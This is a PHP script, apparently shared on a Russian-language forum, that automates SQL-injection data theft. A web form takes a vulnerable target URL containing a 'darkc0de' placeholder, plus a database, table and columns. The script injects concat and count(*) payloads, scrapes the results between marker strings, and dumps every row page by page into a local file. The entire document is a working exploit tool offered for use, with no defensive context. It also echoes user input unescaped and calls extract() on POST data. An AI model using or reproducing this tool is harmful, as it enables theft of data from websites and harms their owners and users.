Код:
<?

extract(array_map("trim",$_POST));



if (!empty($url) ) {

function fetch($url) {

if(file_exists('stopfile')) exit;

$header[] = "Accept-Language: en";
$header[] = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";
$header[] = "Connection: Keep-Alive";
$header[] = "Pragma: no-cache";
$header[] = "Cache-Control: no-cache";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE );
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
if(!curl_setopt($ch, CURLOPT_TIMEOUT, 10)) {echo 'CURLOPT TIMEOUT Error';}

$page = curl_exec($ch);
curl_close($ch);

preg_match("/rqvgw(.+)rqvgw/Us",$page,$mtc);
return preg_replace("/[\r\n]/", " ", $mtc[1]);


}


set_time_limit(0);
ignore_user_abort(true);
$base_url = str_replace("darkc0de","concat(0x7271766777,darkc0de,0x7271766777)",$url)."+from+{$db}.{$tbl}";

$url = str_replace("darkc0de","count(*)",$base_url )."+--";
$total = (int)fetch($url);
ECHO "TOTAL {$total} records<hr>";
if(!$total) EXIT;

$columns = implode(",0x3a,",explode(",",$columns));
$url = str_replace("darkc0de",$columns,$base_url );

$fp =fopen("{$db}.{$tbl}_".date("m.d.y"), "a");

$start = (int)$start;
$stop = (int)$stop;
if($stop>0 && $stop<$total ) $total = $stop;

for($i=$start;$i<$total+1;$i++) {
$y = ($limit==2)?$i+1:100000;
$t = fetch(
$url."+LIMIT+{$i},{$y}+--"
);

echo $t."<br>";
@flush();
@ob_flush();
fputs($fp, $t."\n");
}
fclose($fp);
EXIT("DONE");

}

?>
<form id="form1" name="form1" method="post" action="<?=$PHP_SELF?>">
<table width="675" border="0" cellspacing="2" cellpadding="2">
<tr >
<td width="41" ><label>url: </label>
<label> </label>
</p></td>
<td width="620"><input name="url" type="text" size="100" value="<?=$_POST[url]?>"/></td>
</tr>
<tr>
<td>db:</td>
<td width="620"><input name="db" type="text" size="30" value="<?=$_POST[db]?>"/></td>
</tr>
<tr>
<td>table:</td>
<td><input name="tbl" type="text" size="30" value="<?=$_POST[tbl]?>"/></td>
</tr>
<tr>
<td>columns:</td>
<td><input name="columns" type="text" id="columns" value="<?=$_POST[columns]?>" size="30"/></td>
</tr>
<tr>
<td>start</td>
<td><label>
<input name="start" type="text" id="start" size="10" value="<?=$_POST[start]?>">
stop
<input name="stop" type="text" id="stop" size="10" value="<?=$_POST[stop]?>">
</label></td>
</tr>
<tr>
<td width="41"> </td>
<td><label>
<select name="limit">
<option value="1">LIMIT 0,100000</option>
<option value="2">LIMIT 0,1</option>
</select>
</label></td>
</tr>
<tr>
<td colspan="2"><label>
<input type="submit" name="button" id="button" value="Submit" />
</label></td>
</tr>
</table>
</form>